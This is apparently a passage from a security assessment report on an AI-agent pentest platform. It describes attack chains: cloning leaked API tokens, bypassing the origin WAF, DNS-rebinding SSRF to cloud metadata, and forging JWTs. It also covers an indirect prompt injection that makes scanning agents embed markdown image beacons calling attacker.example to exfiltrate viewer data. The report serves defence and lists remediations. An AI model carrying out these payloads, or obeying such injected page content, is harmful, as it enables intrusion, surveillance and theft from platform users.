Attack path:

01 An API token (`atk_...`) leaks through any common vector (CI/CD logs, shared .env, VCS commit).

02 **Self-replicate for persistence (F-239):** The attacker uses the leaked token to call `POST /api/api-tokens`, creating clone tokens. The `requirePermission('org:api_tokens:manage')` check is bypassed because API tokens

set `orgPermissions=null`. Each clone survives revocation of the original, providing irrevocable persistence.

03 **Enumerate credential metadata (F-227):** The cloned tokens call the three ungated GET endpoints:

`GET /api/user-credentials` → returns `targetUrl`, `authKind`, `username`, `label`, `createdByClerkUserId` for all stored test credentials

`GET /api/source-repo-credentials` → returns `repoUrl`, `createdByClerkUserId` for all stored repository PATs

`GET /api/api-tokens` → returns `name`, `tokenPrefix` (first 12 chars), `createdByClerkUserId`, `expiresAt`, `revokedAt` for all org tokens

None of these endpoints check permissions, they only verify `request.orgId` is non-null (F-227).

01 **Continuous monitoring:** The attacker polls these endpoints periodically (e.g., daily) to track: which targets the org is testing (new targetUrls appearing), which usernames and auth methods are configured, which private repositories have PATs stored (revealing the org's codebase inventory), and which API tokens are active (monitoring for new tokens that might indicate incident response).

02 **Intelligence-informed targeting:** The credential metadata enables secondary attacks: target URLs reveal the org's clients or internal systems; usernames reveal naming conventions; repo URLs reveal the private codebase inventory; token prefixes (12 chars) narrow brute-force space if token hashes are later leaked. This intelligence persists indefinitely because the self-replicated tokens cannot be fully revoked without auditing every token in the org.

Impact: Persistent, irrevocable surveillance of the organization's security testing program and credential infrastructure. The attacker continuously monitors: which targets are being tested, under which usernames, which repositories have configured PATs (revealing the private codebase inventory), and which API tokens exist. This intelligence enables targeted attacks against the org's clients, credential-stuffing using known usernames, and supply-chain attacks targeting discovered repositories. Standard incident response (revoking the known token) does not stop the surveillance.

Keystone remediation: Keystone fix: Block token self-replication (F-239). Change POST /api/api-tokens to use `requireOrgWrite()`. Without self-replication, revoking the leaked token terminates access immediately, breaking the persistence that makes this surveillance chain viable.

Defense-in-depth: Add `requirePermission('org:credentials:view')` checks to the three GET endpoints (F-227). Define the permission, add it to org:member but NOT org:auditor, and gate the handlers. This limits credential metadata access to interactive Clerk sessions with appropriate role, even if a token leak occurs.

CVSS 7.5 | C-49

API Token → Engagement Injection → EchoLeak Viewer Surveillance

CVSS	COMPLEXITY	FINDINGS
7.5	medium	F-239 (API Token Self-Replication: Leaked Token), F-226 (EchoLeak: Markdown Image Auto-Fetch E...)

Attack path:

01 An API token (`atk_...`) leaks through any common vector.

02 **Create engagement targeting attacker-controlled site (F-239):** The leaked API token calls `POST /api/engagements` with `targetUrl` pointing to the attacker's website (e.g., `https://malicious-target.example`). API tokens bypass `requirePermission('org:engagement:create')` because `orgPermissions=null` → bypass in auth-helpers.ts:60. The engagement is created successfully.

03 **Trigger free recon scan (F-239):** The attacker calls `PATCH /api/engagements/:id/approve-scope` with the token. This endpoint also uses `requirePermission('org:engagement:run')`, bypassed. The free-tier recon scan launches, dispatching specialist agents to scan the attacker's website.

04 **Indirect prompt injection via target content:** The attacker's website contains carefully crafted content designed to influence the specialist agents. When a specialist (e.g., recon_specialist, js_analyze_specialist) fetches and analyzes the page content, the injected prompt instructs the agent to embed a markdown image beacon in its finding submission: `![security-scan-result](https://attacker.example/beacon?org=ORG_ID&engagement=ENG_ID&finding=FINDING_TITLE&timestamp=NOW)`.

05 **EchoLeak beacon injected via MCP submit_finding (F-226):** The specialist calls `submit_finding` with the attacker's payload in the `description`, `impact`, or `remediation` field. The finding payload schema accepts unbounded `z.string()`, no markdown sanitization. The finding is stored with the injected image URL.

06 **Zero-click viewer tracking (F-226):** Every org member, admin, or auditor who opens FindingDetailDrawer, views the ReportViewer, or checks RemediationHistory sees the finding. React-markdown renders the `<img>` tag, and the browser auto-fetches `https://attacker.example/beacon?...`. CSP `img-src 'self' data: https:` permits the fetch. The attacker's server logs the viewer's IP address, User-Agent, timestamp, and any context pre-encoded in the URL.

07 **Persistence via self-replication (F-239):** The cloned tokens survive revocation of the original, allowing the attacker to repeat this cycle: create new engagements → inject new beacons → track viewers indefinitely.

Impact: The attacker crosses from API-level access to browser-side surveillance. Every org member who views findings from the attacker-injected engagement is silently tracked: IP address, viewing timestamps, browser fingerprint, and any context the attacker pre-encoded in the beacon URL at injection time. Combined with F-239's self-replication, the attack is repeatable and persistent, the attacker can continuously create new engagements with new beacons even after the original token is revoked. In the worst case, the specialist might include sensitive data it observed during scanning (API endpoints, internal URLs, partial credentials) in the finding description, which is then pre-encoded in the beacon URL and exfiltrated to the attacker on every page view.

Keystone remediation: Keystone fix: Block token self-replication (F-239). Change POST /api/api-tokens to use `requireOrgWrite()`. This prevents API tokens from minting clones, making standard token revocation effective and breaking the persistence loop.

Defense-in-depth: Fix F-226 by adding `img: () => null` to all three ReactMarkdown component overrides (FindingDetailDrawer.tsx, ReportViewer.tsx, RemediationHistory.tsx) and tighten CSP `img-src` to `'self' data:`. This closes the browser-side exfiltration channel even if prompt injection succeeds.

Additional: Add markdown sanitization to the submit_finding payload, strip or escape image syntax in finding description/impact/remediation fields before storage.

CVSS 7.7 | C-48

API Token Leak + Origin Bypass → Persistent Irrevocable Org Takeover

CVSS	COMPLEXITY	FINDINGS
7.7	low	F-232 (Origin Server Directly Accessible), F-239 (API Token Self-Replication: Leaked Token)

Attack path:

01 An API token (`atk_...`) leaks through a common vector: CI/CD logs, committed `.env` file, shared developer workstation, VCS history, or Slack message.

02 **Connect to origin (F-232):** The attacker sends requests directly to `acmeco-api-x4f2.onrender.com` (hostname discoverable from test fixtures committed in source). This bypasses the Cloudflare managed bot challenge that would otherwise block all automated API calls. No origin protection exists in the Fastify application.

03 **Self-replicate tokens (F-239):** The attacker calls `POST /api/api-tokens` with the leaked token in the Authorization header. Because API tokens set `orgPermissions=null` in the auth plugin, and `requirePermission('org:api_tokens:manage')` returns true when `orgPermissions===null` (auth-helpers.ts:60), the call succeeds. Via the unprotected origin, the attacker mints dozens of clone tokens in seconds. Each clone records `createdByClerkUserId` matching the original creator, no audit-trail distinction.

04 **Revoke legitimate tokens:** The attacker calls `DELETE /api/api-tokens/:id` for every legitimate org token (enumerable via `GET /api/api-tokens`). This causes denial of service to CI/CD pipelines and any automated integrations using API tokens.

05 **Persist through incident response:** The org admin discovers the leak, identifies the original `atk_xxx` token, and revokes it. But the attacker's cloned tokens (`atk_yyy`, `atk_zzz`, ...) are separate database rows, they survive revocation of the original. The admin would need to audit every token in the org and identify which were minted by the leaked token, but no `createdVia` field distinguishes human-created from token-created entries.

06 **Ongoing org access:** The surviving cloned tokens give the attacker persistent access to: create and manage engagements (POST /api/engagements, PATCH /approve-scope), read all engagement data and findings, read credential metadata (usernames, target URLs, repo URLs, token prefixes via F-227's ungated endpoints), initiate Stripe checkout sessions (POST /api/stripe/checkout), and export audit trails (GET /audit-trail.csv). Standard token revocation workflows are completely ineffective.

Impact: A single API token leak escalates to persistent, irrevocable organizational access. The attacker can: (1) maintain access indefinitely despite revocation of the known token; (2) deny service to legitimate CI/CD by revoking all other tokens; (3) create engagements and trigger pentest scans against attacker-controlled targets (resource consumption, reputational risk); (4) read all engagement data, findings, and credential metadata; (5) initiate billing operations. Complete incident response requires auditing and revoking ALL org tokens, and there's no way to distinguish attacker-cloned tokens from legitimately created ones.

Keystone remediation: Keystone fix: Block token self-replication (F-239). Change POST /api/api-tokens and DELETE /api/api-tokens/:id to use `requireOrgWrite()` instead of `requirePermission()`. This restricts token management to interactive Clerk sessions (org:admin/org:member), blocking API tokens and CLI JWTs from creating or revoking tokens.

Defense-in-depth: Implement origin server protection (F-232) with CF-Connecting-IP validation to re-enable the Cloudflare WAF as the mandatory entry point, preventing automated exploitation. Add a `createdVia` column to the api_tokens table to enable incident responders to identify and revoke all tokens created by a compromised token.

CVSS 8.2 C-47

Origin Bypass → SSRF to Cloud Metadata → Secret Exfiltration

CVSS	COMPLEXITY	FINDINGS
8.2	high	F-232 (Origin Server Directly Accessible), F-228 (DNS Rebinding TOCTOU in Credential), F-230 (SERVICE_JWT_SECRET Triple-Duty: JWT S...)

Attack path:

01 Attacker is an authenticated org member (or has compromised a member's Clerk session).

02 **Discover origin hostname (F-232):** The Render origin hostname `acmeco-api-x4f2.onrender.com` is committed in test fixtures (submit-finding.integration.test.ts:251, similarity.test.ts:42) and partially derivable from `render.yaml:115` (service name `acmeco-api` → `acmeco-api-*.onrender.com`). The origin is publicly DNS-resolvable and TLS-accessible.

03 **Bypass Cloudflare WAF (F-232):** The attacker connects directly to `acmeco-api-x4f2.onrender.com` instead of `api.example.com`. No origin protection exists in the Fastify app: no CF-Connecting-IP validation, no Host header check, no global rate limiting (@fastify/rate-limit not registered). The Cloudflare managed bot challenge, which blocked ALL 14 automated probes during testing, is completely bypassed.

04 **DNS rebinding SSRF (F-228):** The attacker sends POST requests to `https://acmeco-api-x4f2.onrender.com/api/credential-helper/discover-login` with a Clerk session JWT in the Authorization header. The `targetUrl` parameter points to an attacker-controlled domain with TTL=0 DNS. First DNS resolution (`isInternalHost()` via `dns.lookup()`) returns a public IP (passes the SSRF guard).

Before `fetch()` executes, the DNS record flips to `169.254.169.254` (GCP metadata endpoint). Node.js 22's undici performs a separate DNS resolution for `fetch()`, which now resolves to the metadata IP.

05 **Extract secrets from metadata (F-228 → F-230):** The GCP instance metadata service on Render's infrastructure may expose environment variables, service account tokens, or custom metadata. The response (up to 50KB) is processed by the Anthropic model, which returns a structured output containing `loginUrl`, `verifyUrl`, and `notes` fields. Sensitive data (including fragments of SERVICE_JWT_SECRET if exposed via metadata) surfaces in these fields. The 5/min per-org rate limit allows multiple extraction attempts to piece together the full secret.

06 **Leverage triple-duty secret (F-230):** With SERVICE_JWT_SECRET, the attacker can forge Service JWTs (MCP access to any engagement), forge CLI JWTs (full API access to any org for 30 days), and derive the AES-256-GCM key to decrypt all stored user credentials and source-repo PATs. This is the concrete realization of the blast radius described in C-1.

Note: The SSRF is also reachable through the CF-proxied path (api.example.com) if the attacker solves the managed challenge via a browser, but the origin bypass makes it trivially automatable.

Impact: If GCP metadata exposes environment variables on Render's infrastructure: complete platform compromise via SERVICE_JWT_SECRET. The attacker gains the ability to forge all JWT types (CLI and Service), access every org's engagement data via MCP, and decrypt all stored credentials. The origin bypass removes the primary defense layer (Cloudflare WAF) that would otherwise block automated SSRF exploitation.

Keystone remediation: Keystone fix: Implement origin server protection (F-232). Add a Fastify `onRequest` hook that validates the `CF-Connecting-IP` header or checks the source IP against Cloudflare's published IP ranges. This re-enables the Cloudflare WAF as the mandatory entry point and blocks automated SSRF exploitation via the origin.

Defense-in-depth: Fix F-228 by pinning DNS resolution, resolve once with `dns.lookup()`, validate the IP, then pass the resolved address to undici's `fetch()` via a custom dispatcher with `connect: { hostname: resolved_ip, servername: original_hostname }`. This

eliminates the TOCTOU window regardless of origin access. Also separate SERVICE_JWT_SECRET into dedicated keys (F-230) to limit blast radius even if a future SSRF succeeds.

CVSS 8.7 C-46

Shared Secret Cascade → Cross-Tenant Platform Takeover via EchoLeak

CVSS	COMPLEXITY	FINDINGS
8.7	medium	F-230 (SERVICE_JWT_SECRET Triple-Duty: JWT S...), F-231 (CLI JWT and Service JWT), F-226 (EchoLeak: Markdown Image Auto-Fetch E...)

Attack path:

01 Attacker obtains SERVICE_JWT_SECRET through any secret-exfiltration vector (SSRF to cloud metadata, log injection, config dump, insider access, or the SSRF chain described in C-2).

02 **Forge Service JWTs (F-230, F-231):** SERVICE_JWT_SECRET serves triple duty: it signs both Service JWTs and CLI JWTs (CLI_JWT_SECRET is not configured in production render.yaml), and derives the AES-256-GCM key for credential encryption (token-crypto.ts). The attacker mints a Service JWT with arbitrary `engagementId`, `clerkOrgId`, `agentSlug`, and `sandboxDir` fields, targeting ANY engagement in ANY org on the platform.

03 **Inject EchoLeak payloads via MCP (F-226):** Using the forged Service JWT, the attacker authenticates to POST /mcp and calls the `submit_finding` tool. The finding payload schema (agent-payload-schemas.ts:69-71) accepts unbounded `z.string()` for `description`, `impact`, and `remediation` fields. The attacker embeds `![x](https://attacker.example/beacon?org=TARGET_ORG&eng=ENGAGEMENT_ID&data=ENCODED_CONTEXT)` in these fields.

04 **Zero-click browser exfiltration (F-226):** When ANY org member or auditor views the injected finding in FindingDetailDrawer, ReportViewer, or RemediationHistory, react-markdown renders the `<img>` tag. The CSP directive `img-src 'self' data: https:` permits fetches to any HTTPS origin. The browser silently auto-fetches the attacker's URL, zero clicks required.

05 **Cross-tenant escalation:** The attacker repeats Steps 2-3 across every org on the platform by minting new Service JWTs with different `clerkOrgId` values. Each forged JWT grants MCP tool access to the target org's engagements: submit_finding, update_finding, file_read, file_write.

06 **Forge CLI JWTs (F-231):** Simultaneously, the attacker forges CLI JWTs with `{ sub: ANY_USER, orgId: ANY_ORG, jti: RANDOM, purpose: 'cli' }` and 30-day validity. CLI JWTs bypass all `requirePermission` checks (orgPermissions=null → bypass in auth-helpers.ts:60). The attacker gains full API access to every org: create engagements, approve scope, revoke tokens, read all metadata, initiate Stripe checkouts.

Combined impact: Platform-wide read/write access to all engagement data + browser-side surveillance of every user who views any finding + full API control of every org.

Impact: Complete cross-tenant platform compromise. The attacker can: (1) read and modify all engagement data, findings, and evidence files across every org via forged Service JWTs; (2) inject EchoLeak beacons into findings across all tenants, passively tracking IP addresses, viewing timestamps, and activity patterns of every user who views any finding or report; (3) forge CLI JWTs for any user in any org, gaining full API access including engagement creation, scope approval, token management, and billing operations; (4) if the attacker additionally obtains database access, decrypt all stored user credentials (passwords) and source-repo PATs using the same SERVICE_JWT_SECRET-derived AES key.

Keystone remediation: Keystone fix: Separate SERVICE_JWT_SECRET into dedicated keys (F-230/F-231). Generate and deploy `CLI_JWT_SECRET` (render.yaml already supports it, cli-jwt.ts prefers it), `SERVICE_JWT_SECRET_V2` for credential encryption (bump CURRENT_KEY_VERSION in token-crypto.ts), and keep the original for service JWT signing only. This eliminates the single-key blast radius: compromising one key no longer cascades to all three subsystems.

DEFENSE-IN-DEPTH

Fix F-226 by adding img: () => null to all three ReactMarkdown component overrides and tighten CSP img-src from 'SELF' DATA: HTTPS to 'SELF' DATA. This closes the browser-side exfiltration channel even if JWT forgery occurs.

CHAIN REMEDIATION PRIORITY

01 **C-46** (P1, Medium effort): Separate SERVICE_JWT_SECRET into dedicated keys (F-230/F-231).

02 **C-51** (P1, Medium effort): Deploy CLI_JWT_SECRET as a separate environment variable (F-231).

03 **C-47** (P1, Medium effort): Implement origin server protection (F-232).

04 **C-53** (P1, Medium effort): F-230, Separate the secrets.

05 **C-48** (P1, Medium effort): Block token self-replication (F-239).

06 **C-52** (P1, Medium effort): F-232 (Origin protection).

07 **C-49** (P1, Medium effort): Block token self-replication (F-239).

08 **C-50** (P2, Medium effort): Block token self-replication (F-239).

06 ATTACK SURFACE SUMMARY

Subdomains discovered: 5

Endpoints mapped: 35

ATTACK SURFACE: EXAMPLE.COM

SUMMARY

Live hosts: 5 confirmed public, 2 additional Render direct URLs

Total endpoints discovered: 30+

Unauthenticated endpoints: 4 (GET /health, POST /api/auth/cli-token/revoke, POST /api/webhooks/clerk [Svix-signed], POST /api/stripe/webhook [Stripe-signed])

API documentation exposed: No (Fastify 5.x, no OpenAPI endpoint exposed)

Tech stack: React 7 + Vite (SSG) frontend, Fastify 5.x + Node.js 22 API, PostgreSQL 18, Clerk auth, Stripe payments, Anthropic Claude AI (claude-sonnet-4-6 + Claude Mythos for select features), MCP SDK

Auth mechanism: Clerk (web sessions), CLI JWT (30d, HS256, SERVICE_JWT_SECRET), API tokens (atk_... prefix, DB-verified), Service JWT (MCP endpoint only)

Source repo: Private (https://github.com/acmeco/web is private/404 unauthenticated)

SUBDOMAINS & HOSTS

HOST	STATUS	TECH	NOTES
example.com	200	React+Vite SPA (Cloudflare CDN/Proxy)	Marketing + app shell
www.example.com	301→example.com	Cloudflare	Redirect to apex
api.example.com	200/403 (CF challenge)	Fastify 5.x Node.js (Cloudflare WAF)	API backend; origin: acmeco-api-x4f2.onrender.com on Render GCP US-West1
accounts.example.com	N/A	CNAME → accounts.clerk.services	Clerk hosted sign-in portal
clerk.example.com	N/A	CNAME → frontend-api.clerk.services	Clerk Frontend API
checkout.example.com	403 CF	CNAME → hosted-checkout.stripecdn.com	**NEW**: Stripe custom checkout domain (cert issued 2026-04-29)
mta-sts.example.com	1000 (CF error)	Static (Render)	MTA-STS policy host - **BROKEN**: Cloudflare error 1000 "DNS points to prohibited IP"

Direct Render URLs (bypass Example's custom CF WAF)

07 POSITIVE SECURITY CONTROLS

Active testing verified the controls listed below held under the engagement's probing methodology. Each entry names what was tested, the method, and the observed behavior.

AUTHENTICATION: AUTH TOKENS NOT STORED IN LOCALSTORAGE OR SESSIONSTORAGE

Test method: Reviewed all localStorage/sessionStorage calls across apps/web/src; read api-CEshcNU1.js bundle in full; reviewed RootLayout and AppShell source.

Observed: localStorage used only for nav-collapsed UI preference. Clerk session is managed by the @clerk/react SDK (HttpOnly cookies). API calls use Authorization: Bearer via Clerk's getToken(), no manual token serialization to browser storage.

AUTHENTICATION: CLERK PRODUCTION-ONLY PUBLISHABLE KEY IN FRONTEND BUNDLE

Test method: Fetched the live JS bundle (RootLayout-WKodL7EA.js) and grepped for pk_test_ and pk_live_ across all frontend assets. Source-grepped the entire repo for pk_test_ patterns.

Observed: Only pk_live_Y2xlcmsuc3dhcm1zZWMuYWkk found in the production bundle. No pk_test_ keys present in any deployed asset or source file. Custom domain clerk.example.com CNAMEs to frontend-api.clerk.services (production infrastructure), not *.clerkstage.dev.

AUTHENTICATION: CLERK WEBHOOK SIGNATURE VERIFICATION

Test method: Reviewed clerk-webhooks.ts source code

Observed: Uses svix library to verify webhook signature with CLERK_WEBHOOK_SECRET before processing any event. Missing/invalid signature returns 400. Unrecognized event types are ignored.

AUTHENTICATION: CLERK WEBHOOK SVIX SIGNATURE VERIFICATION ON POST /API/WEBHOOKS/CLERK

Test method: Source review of apps/api/src/routes/clerk-webhooks.ts and integration test file. Verified the handler checks for svix-id, svix-timestamp, svix-signature headers, and calls new Webhook(secret).verify() before processing. Also sent a POST to the live endpoint without valid Svix headers.

Observed: Handler rejects with 400 when svix headers are missing; rejects with 400 on invalid/forged signatures. Integration tests confirm both paths. CLERK_WEBHOOK_SECRET is loaded from env (server-side only, in render.yaml acmeco-secrets group). Live endpoint additionally protected by Cloudflare managed challenge (403).

AUTHENTICATION: CLI TOKEN REVOCATION REQUIRES VALID JWT (NOT ARBITRARY JTI)

Test method: Source review of POST /api/auth/cli-token/revoke (apps/api/src/routes/auth.ts): endpoint parses body.token, calls verifyCliJwt() which validates HS256 signature and purpose='cli' before extracting JTI for revocation.

Observed: Cannot revoke arbitrary JTIs, must present a full valid CLI JWT with correct signature. verifyCliJwt returns null on bad signature, expired token, or wrong purpose. The endpoint returns {revoked: false} without touching the DB. Brute-forcing JTIs is not possible since you'd need SERVICE_JWT_SECRET to forge a valid JWT.

AUTHENTICATION: CLI TOKEN SELF-RENEWAL PREVENTION

Test method: Source review of POST /api/auth/cli-token (apps/api/src/routes/auth.ts:25): uses requireOrgWrite which blocks CLI JWT and API token paths (orgRole must be org:admin or org:member from a Clerk session).

Observed: A leaked CLI JWT cannot mint a new CLI JWT because requireOrgWrite checks orgRole (null for CLI JWT path) and rejects with 403. Only fresh Clerk sessions (interactive browser login) can mint CLI tokens. This prevents indefinite self-renewal of leaked tokens.

AUTHENTICATION: CLOUDFLARE MANAGED CHALLENGE ON API.EXAMPLE.COM BLOCKS UNAUTHENTICATED PROBES

Test method: Sent unauthenticated POST to /mcp and GET to /health via direct HTTP requests to api.example.com

Observed: All requests returned HTTP 403 with Cloudflare managed challenge page. The API origin is behind Cloudflare WAF with bot management enabled. Both MCP endpoint and health check require passing the challenge, preventing automated unauthenticated probing.

AUTHENTICATION: DISPOSABLE EMAIL BLOCKING AT WEBHOOK AND CLERK BLOCKLIST LEVELS

Test method: Source review of apps/api/src/routes/clerk-webhooks.ts handleUserCreated(), apps/api/src/lib/email-domains.ts, and apps/api/src/lib/clerk-blocklist-sync.ts.

Observed: Two defense layers: (1) Clerk webhook handler checks isDisposableEmail() against the disposable-email-domains npm package (~121k domains) and auto-deletes the Clerk user if matched. (2) A daily pg-boss job syncs ~400 wildcard domains to Clerk's blocklist via API, preventing sign-up at the IDP level before the webhook even fires. Integration test confirms disposable email → user deletion.

AUTHENTICATION: GENERIC AUTH ERROR MESSAGES PREVENT JWT FAILURE-MODE ENUMERATION

Test method: Reviewed the auth rejection path in mcp.ts:107-115 and the top-level setErrorHandler in mcp.ts:75-85. Sent unauthenticated probes (no auth, Basic auth, malformed JWT) and confirmed via source that the response is always a generic 'unauthorized' message.

Observed: The 401 response body is always { code: -32001, message: 'unauthorized' } regardless of the JWT failure mode (missing, wrong secret, expired, malformed, missing fields). The internal error detail is logged server-side but never returned. A regression test (line 205) explicitly asserts the message does not contain jwt/malformed/invalid/signature/token keywords.

AUTHENTICATION: JWT VERIFICATION ON ALL /MCP METHODS (POST, GET, DELETE)

Test method: Reviewed apps/api/src/plugins/mcp.ts. All three HTTP methods (POST, GET, DELETE) route through the same handleMcp handler, which runs authenticate() as the first operation. Reviewed the integration test suite (mcp-auth.integration.test.ts) covering 8 rejection scenarios.

Observed: handleMcp calls authenticate() before any MCP processing. authenticate() extracts the Bearer token and calls verifyServiceJwt. Rejected tokens return a generic 'unauthorized' JSON-RPC envelope (not the internal error). Tests cover: missing auth, non-Bearer auth, wrong secret, expired JWT, escaped sandboxDir, missing fields, malformed JWT, and error-message non-leak.

AUTHENTICATION: MCP ENDPOINT AUTHENTICATION ERROR HANDLING, NO JWT INTERNALS LEAKAGE

Test method: Source review of MCP plugin (apps/api/src/plugins/mcp.ts). Tested unauthenticated and invalid-bearer requests against live endpoint. Reviewed error handler code path.

Observed: Authentication failures return generic JSON-RPC error: `{jsonrpc: "2.0", id: null, error: {code: -32001, message: "unauthorized"}}`. Full reason is logged server-side only (`request.log.warn`). The error handler coerces 500s to `{code: -32603, message: "internal error"}`, no JWT library internals, failure modes, or stack traces leak to callers.

AUTHENTICATION: OIDC CONFIGURATION, AUTHORIZATION CODE FLOW ONLY, PKCE S256, RS256 SIGNING

Test method: Fetched https://clerk.example.com/.well-known/openid-configuration and https://clerk.example.com/.well-known/jwks.json. Verified response_types_supported, grant_types_supported, code_challenge_methods_supported, and id_token_signing_alg_values_supported.

Observed: response_types_supported: ["code"] only (no implicit token flow). grant_types_supported: ["authorization_code","refresh_token"] (no password grant). code_challenge_methods_supported: ["S256"] (PKCE supported).

id_token_signing_alg_values_supported: ["RS256"] (no alg:none). JWKS contains one RS256 key with proper kid.

AUTHENTICATION: SERVICE JWT VERIFICATION VALIDATES SANDBOXDIR AND REPODIR PATH TRAVERSAL

Test method: Reviewed verifyServiceJwt (packages/tools/src/service-jwt.ts:74-98). Checked sandboxDir validation against ENGAGEMENT_SANDBOX_ROOT and repoDir validation against sandboxDir.

Observed: sandboxDir must be a strict subdirectory of ENGAGEMENT_SANDBOX_ROOT (equality rejected, only proper subdirectories accepted). repoDir must be inside sandboxDir when present. Both use path.resolve() + startsWith() check with trailing '/' to prevent prefix confusion (e.g., /tmp/engagements-evil matching /tmp/engagements).

AUTHENTICATION: STRIPE WEBHOOK SIGNATURE VERIFICATION

Test method: Reviewed stripe.ts route source code

Observed: Stripe-signature header verified using stripe.webhooks.constructEvent with STRIPE_WEBHOOK_SECRET and raw body. Missing header returns 400.

AUTHORIZATION: AUDITOR ENGAGEMENT VISIBILITY FILTERING APPLIED AT BOTH LIST AND DETAIL LEVEL

Test method: Reviewed AUDITOR_HIDDEN_STATUSES (engagement-visibility.ts), its use in GET /api/engagements list handler (engagements.ts:269-270), and fetchOrgEngagement (fetch-org-engagement.ts:28-31) used by all detail routes.

Observed: org:auditor users are filtered from draft, tasting, awaiting_payment, and running engagements at both the list endpoint (WHERE clause excludes statuses) and per-engagement fetches (fetchOrgEngagement applies the same filter). Null returns are mapped to 404 to prevent existence leakage.

AUTHORIZATION: AUDITOR ROLE BLOCKED FROM ALL WRITE OPERATIONS

Test method: Source review of all write endpoints: POST/PATCH/PUT/DELETE routes use either requireOrgWrite (blocks non-admin/member roles) or requirePermission with permissions not in the auditor's set. Auditor permissions are ['org:engagement:view', 'org:report:export'].

Observed: All 14 write endpoints properly gate auditor access. requireOrgWrite blocks: cancel, findings CRUD, credential CRUD, cli-token mint, credential-helper. requirePermission blocks: engagement create/edit/approve/retest (org:engagement:create/run), api-token create/delete (org:api_tokens:manage), stripe checkout (org:billing:manage). Auditor's role-fallback permissions lack all of these.

AUTHORIZATION: AUDITOR ROLE VISIBILITY RESTRICTION ON IN-PROGRESS ENGAGEMENTS

Test method: Source review of engagement-visibility.ts and fetchOrgEngagement: when orgRole === 'org:auditor', AUDITOR_HIDDEN_STATUSES (draft, tasting, awaitingPayment, running) are filtered at both the list (GET /api/engagements) and detail (GET /api/engagements/:id) level.

Observed: Server-enforced: auditors only see completed/cancelled engagements. The filter applies at the DB WHERE clause, not at the UI layer. The hidden set is defined once (AUDITOR_HIDDEN_STATUSES) and consumed by both fetchOrgEngagement and the list handler. Stream ticket minting also enforces this, an auditor cannot mint a ticket for a hidden engagement because fetchOrgEngagement returns null.

AUTHORIZATION: CLERK ROLE-BASED PERMISSION MODEL WITH AUDITOR READ-ONLY ENFORCEMENT

Test method: Source review of apps/api/src/lib/auth-helpers.ts (requirePermission, requireOrgWrite) and apps/api/src/lib/clerk-roles-sync.ts (ROLES, PERMISSIONS definitions).

Observed: Three roles defined: org:admin (auto-binds all permissions), org:member (create/run/view/triage/export/repos), org:auditor (view + export only). requireOrgWrite() blocks CLI JWT and API tokens from sensitive operations. requirePermission() uses a

role→permissions fallback map synced from the same source-of-truth as the Clerk dashboard sync script, preventing drift.

AUTHORIZATION: CROSS-ENGAGEMENT ISOLATION VIA JWT-BOUND ENGAGEMENTID ON MCP ENDPOINT

Test method: Source review of all MCP tool handlers (submit_finding, update_finding, list_findings, file_read, file_write, source_grep, source_read). Verified engagementId, clerkOrgId, and agentSlug are always read from the verified JWT context (ctx), never from agent-supplied input.

Observed: insertNumberedRow (lib/numbered-insert.ts) stamps engagementId and clerkOrgId from ctx (JWT). sandboxDir is path-validated against ENGAGEMENT_SANDBOX_ROOT. repoDir must be inside sandboxDir. An agent cannot access another engagement's data, files, or findings.

AUTHORIZATION: CROSS-ORG ISOLATION VIA CLERKORGID FILTER

Test method: Reviewed fetchOrgEngagement and DB models in source

Observed: All engagement queries filter by clerkOrgId at DB layer. fetchOrgEngagement requires both engagementId AND clerkOrgId to match. Non-existent or wrong-org returns null → 404 to avoid existence leakage.

AUTHORIZATION: CROSS-ORG TENANT ISOLATION ON ENGAGEMENT ENDPOINTS

Test method: Source review of all engagement routes (GET/POST/PATCH) in apps/api/src/routes/engagements.ts: every endpoint passes request.orgId (server-derived from auth plugin, not user input) to fetchOrgEngagement(orgId, id, orgRole) which filters by clerkOrgId at the DB layer.

Observed: All 10+ engagement endpoints use fetchOrgEngagement() or direct Engagement.findAll({where: {clerkOrgId: orgId}}). orgId is stamped by the auth preHandler from the verified Clerk session/CLI JWT/API token, never from request body or query params. Cross-org access returns 404 (not 403) to prevent existence leakage.

AUTHORIZATION: CROSS-ORG TENANT ISOLATION ON FINDING ENDPOINTS

Test method: Source review of apps/api/src/routes/findings.ts and apps/api/src/lib/fetch-org-finding.ts: all finding read/write endpoints pass server-derived orgId to fetchOrgFinding(orgId, findingId) which queries Finding.findOne({where: {id, clerkOrgId: orgId}}).

Observed: Findings are doubly scoped: by engagement (engagementId) and by org (clerkOrgId). Direct finding access via /api/findings/:findingId/remediation also checks fetchOrgFinding. Cross-org access returns 404.

AUTHORIZATION: ENGAGEMENT-SCOPED QUERIES VIA LISTENGAGEMENTSCOPED ON ALL MCP LIST TOOLS

Test method: Reviewed apps/api/src/mcp/lib/scoped-list.ts and all list_* tool implementations. Confirmed engagementId is stamped from ctx (JWT context) into the WHERE clause.

Observed: listEngagementScoped injects { engagementId: ctx.engagementId } into every query WHERE clause. Cross-engagement queries are structurally impossible at the DB layer. list_findings allows an optional engagementId parameter but validates that the target engagement belongs to the same clerkOrgId before proceeding.

AUTHORIZATION: LIBRARIAN-ONLY TOOL GUARD (ASSERTLIBRARIANCALLER) ON MEMORY INGEST TOOLS

Test method: Reviewed apps/api/src/mcp/lib/librarian-guard.ts and all three librarian-scoped tool handlers (list_ingest_sources, update_ingest_source_watermark, record_ingest_error). Confirmed assertLibrarianCaller is called inside each tool's execute() before any DB operation.

Observed: assertLibrarianCaller checks ctx.agentSlug === MEMORY_LIBRARIAN_SLUG and throws with an explicit error message naming the caller if the check fails. This is a code-level guard independent of the registration-time allowlist, providing defense-in-depth. The injection-defense test suite explicitly tests the error message shape and rejects non-librarian callers.

AUTHORIZATION: MCP SUBMIT_FINDING / UPDATE_FINDING SERVER-STAMPS CLERKORGID FROM JWT CONTEXT

Test method: Reviewed insertNumberedRow (numbered-insert.ts:95-110) spread order: agent input is spread first, then engagementId, clerkOrgId, discovererAgentSlug from ctx override. Additionally, findingInsertPayloadSchema uses .strip() to remove unknown fields before they reach the handler.

Observed: Server-owned fields (engagementId, clerkOrgId, sessionId, displayNumber, discovererAgentSlug) are stamped from the verified service JWT context, not from agent input. Agent-supplied duplicates are overridden. Schema .strip() prevents extra fields from reaching the DB layer.

AUTHORIZATION: PER-AGENT MCP TOOL ALLOWLIST ENFORCEMENT AT REGISTRATION TIME

Test method: Reviewed buildMcpServer in packages/tools/src/adapters/mcp.ts and getAllowedToolsForAgent in packages/agents/src/index.ts. Confirmed the allowlist is applied at server.tool() registration time, not just at call time.

